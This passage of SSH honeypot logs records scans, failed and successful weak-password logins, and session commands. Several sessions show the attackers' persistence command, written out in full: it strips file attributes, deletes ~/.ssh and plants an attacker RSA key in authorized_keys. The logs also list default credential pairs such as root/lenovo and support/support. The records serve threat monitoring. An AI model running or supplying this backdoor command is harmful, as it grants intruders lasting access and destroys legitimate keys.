    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

121.15.140.235

2026-07-09 23:55:17.812930 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sam

Record ID: 3964d7aade31

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 3.9s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "3964d7aade31",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:55:17.812930Z",
  "end_time": "2026-07-09T23:55:21.712397Z",
  "duration": "3.9",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "sam",
      "pass": "sam"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.15.140.235

2026-07-09 23:54:27.387424 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 037648740e0d

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "037648740e0d",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:54:27.387424Z",
  "end_time": "2026-07-09T23:56:27.392782Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

143.244.169.204

2026-07-09 23:54:22.956908 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1

Record ID: 56c77c065c95

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "56c77c065c95",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:54:22.956908Z",
  "end_time": "2026-07-09T23:54:24.388206Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "user1",
      "pass": "P@$$w0rd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.15.140.235

2026-07-09 23:53:35.968687 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5dd472dba24a

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "5dd472dba24a",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:53:35.968687Z",
  "end_time": "2026-07-09T23:55:35.987563Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.15.140.235

2026-07-09 23:52:43.907917 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user01

Record ID: 47026a8a89e7

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 3.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "47026a8a89e7",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:52:43.907917Z",
  "end_time": "2026-07-09T23:52:47.084917Z",
  "duration": "3.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "user01",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

143.244.169.204

2026-07-09 23:52:17.348897 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 9aaf6070eb00

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9aaf6070eb00",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:52:17.348897Z",
  "end_time": "2026-07-09T23:52:17.780015Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

143.244.169.204

2026-07-09 23:52:15.861004 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: f38471f27428

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f38471f27428",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:52:15.861004Z",
  "end_time": "2026-07-09T23:52:17.287217Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

143.244.169.204

2026-07-09 23:52:14.922128 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / lenovo

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 3b48d9fae856

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3b48d9fae856",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:52:14.922128Z",
  "end_time": "2026-07-09T23:52:17.776399Z",
  "duration": "2.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "lenovo"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

121.15.140.235

2026-07-09 23:51:54.174261 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 852cbee5bf9d

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "852cbee5bf9d",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:51:54.174261Z",
  "end_time": "2026-07-09T23:53:54.180910Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

172.190.216.105

2026-07-09 23:51:51.772219 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: celery

Record ID: aed9367cd75d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 7.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "aed9367cd75d",
  "src_ip": "172.190.216.105",
  "start_time": "2026-07-09T23:51:51.772219Z",
  "end_time": "2026-07-09T23:51:58.771873Z",
  "duration": "7.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "celery",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.15.140.235

2026-07-09 23:51:05.103035 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 702a608ba69c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "702a608ba69c",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:51:05.103035Z",
  "end_time": "2026-07-09T23:53:05.125824Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-09 23:50:36.949097 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 9edd621630ab

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "9edd621630ab",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-09T23:50:36.949097Z",
  "end_time": "2026-07-09T23:50:38.113387Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

154.47.30.21

2026-07-09 23:50:18.110101 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0dd96c33671c

Client Version: Unknown

Engagement Duration: 0.5s

{
  "id": "0dd96c33671c",
  "src_ip": "154.47.30.21",
  "start_time": "2026-07-09T23:50:18.110101Z",
  "end_time": "2026-07-09T23:50:18.574749Z",
  "duration": "0.5",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

121.15.140.235

2026-07-09 23:50:14.905354 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1ec8812df404

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "1ec8812df404",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:50:14.905354Z",
  "end_time": "2026-07-09T23:52:14.914353Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

143.244.169.204

2026-07-09 23:50:09.757638 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: guest / 3245gs5662d34

Record ID: e105cb33a1de

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e105cb33a1de",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:50:09.757638Z",
  "end_time": "2026-07-09T23:50:10.191447Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "guest",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

143.244.169.204

2026-07-09 23:50:08.259668 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 11673256ef3b

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "11673256ef3b",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:50:08.259668Z",
  "end_time": "2026-07-09T23:50:09.689476Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

143.244.169.204

2026-07-09 23:50:07.308966 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: guest / 123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 91ab06aa5206

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "91ab06aa5206",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:50:07.308966Z",
  "end_time": "2026-07-09T23:50:10.188560Z",
  "duration": "2.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "guest",
    "pass": "123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

121.15.140.235

2026-07-09 23:49:24.241444 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user4

Record ID: 654fa0fb99fb

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 3.9s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "654fa0fb99fb",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:49:24.241444Z",
  "end_time": "2026-07-09T23:49:28.153069Z",
  "duration": "3.9",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "user4",
      "pass": "password123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.15.140.235

2026-07-09 23:48:30.401343 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 77996ff53d60

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "77996ff53d60",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:48:30.401343Z",
  "end_time": "2026-07-09T23:50:30.417200Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

143.244.169.204

2026-07-09 23:48:07.167011 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34

Record ID: 8f9511c87b5e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8f9511c87b5e",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:48:07.167011Z",
  "end_time": "2026-07-09T23:48:07.602032Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

143.244.169.204

2026-07-09 23:48:05.678240 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 9e1d165ec089

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9e1d165ec089",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:48:05.678240Z",
  "end_time": "2026-07-09T23:48:07.106075Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}